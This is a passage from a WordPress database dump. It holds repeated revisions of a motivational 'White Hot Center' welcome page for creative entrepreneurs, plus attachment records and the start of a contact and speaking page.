visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:39:36', '2009-06-24 17:39:36', '', 172, 'http://www.whitehotcenter.com/172-revision-21/', 0, 'revision', '', 0),
(266, 2, '2009-06-24 10:44:35', '2009-06-24 17:44:35', '<img class="size-full wp-image-237 alignleft" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:44:35', '2009-06-24 17:44:35', '', 172, 'http://www.whitehotcenter.com/172-revision-24/', 0, 'revision', '', 0),
(264, 2, '2009-06-24 10:41:36', '2009-06-24 17:41:36', '[caption id="attachment_237" align="alignleft" width="200" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />[/caption]\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>-  freedom to do the creative work that matters most to you\r\nand serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>-  mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>- creating a life of significance through your contributions\r\nto the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:41:36', '2009-06-24 17:41:36', '', 172, 'http://www.whitehotcenter.com/172-revision-22/', 0, 'revision', '', 0),
(265, 2, '2009-06-24 10:43:31', '2009-06-24 17:43:31', '[caption id="attachment_237" align="alignleft" width="200" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />[/caption]\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your thoughts in the comments sectionl.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:43:31', '2009-06-24 17:43:31', '', 172, 'http://www.whitehotcenter.com/172-revision-23/', 0, 'revision', '', 0),
(267, 2, '2009-06-24 10:49:39', '2009-06-24 17:49:39', '<img class="size-full wp-image-237 alignleft" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. </span>\r\n\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:49:39', '2009-06-24 17:49:39', '', 172, 'http://www.whitehotcenter.com/172-revision-25/', 0, 'revision', '', 0),
(268, 2, '2009-06-24 10:50:30', '2009-06-24 17:50:30', '<img class="size-full wp-image-237 alignleft" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. </span>\r\n\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:50:30', '2009-06-24 17:50:30', '', 172, 'http://www.whitehotcenter.com/172-revision-26/', 0, 'revision', '', 0),
(269, 2, '2009-06-24 10:51:24', '2009-06-24 17:51:24', '<img class="size-full wp-image-237 alignleft" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:51:24', '2009-06-24 17:51:24', '', 172, 'http://www.whitehotcenter.com/172-revision-27/', 0, 'revision', '', 0),
(270, 2, '2009-06-24 10:51:41', '2009-06-24 17:51:41', '<img class="size-full wp-image-237 alignleft" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:51:41', '2009-06-24 17:51:41', '', 172, 'http://www.whitehotcenter.com/172-revision-28/', 0, 'revision', '', 0),
(271, 1, '2009-07-09 13:25:51', '2009-07-09 20:25:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif"><img class="alignnone size-full wp-image-476" title="questionbar" src="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif" alt="questionbar" width="450" height="85" /></a>\n\nShare your answer in the comments box below.', ' Big Burning Question No.1', 0, '', 'inherit', 'open', 'open', '', '185-autosave', '', '', '2009-07-09 13:25:51', '2009-07-09 20:25:51', '', 185, 'http://www.whitehotcenter.com/185-autosave/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(479, 2, '2009-07-09 13:21:40', '2009-07-09 20:21:40', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif"><img class="alignnone size-full wp-image-476" title="questionbar" src="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif" alt="questionbar" width="450" height="85" /></a>', ' Big Burning Question No.1', 0, '', 'inherit', 'open', 'open', '', '185-revision-5', '', '', '2009-07-09 13:21:40', '2009-07-09 20:21:40', '', 185, 'http://www.whitehotcenter.com/185-revision-5/', 0, 'revision', '', 0),
(272, 2, '2009-06-24 12:01:21', '2009-06-24 19:01:21', '', '1015.nordoff-view', 0, '', 'inherit', 'open', 'open', '', '1015-nordoff-view-2', '', '', '2009-06-24 12:01:21', '2009-06-24 19:01:21', '', 10, 'http://www.whitehotcenter.com/wp-content/uploads/2009/03/1015.nordoff-view.gif', 0, 'attachment', 'image/gif', 0),
(273, 1, '2009-06-24 12:01:22', '2009-06-24 19:01:22', '', 'flickr2', 0, '', 'inherit', 'open', 'open', '', 'flickr2', '', '', '2009-06-24 12:01:22', '2009-06-24 19:01:22', '', 9, 'http://www.whitehotcenter.com/wp-content/uploads/2009/03/flickr2.png', 0, 'attachment', 'image/png', 0),
(274, 2, '2009-06-24 10:23:25', '2009-06-24 17:23:25', '<img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and 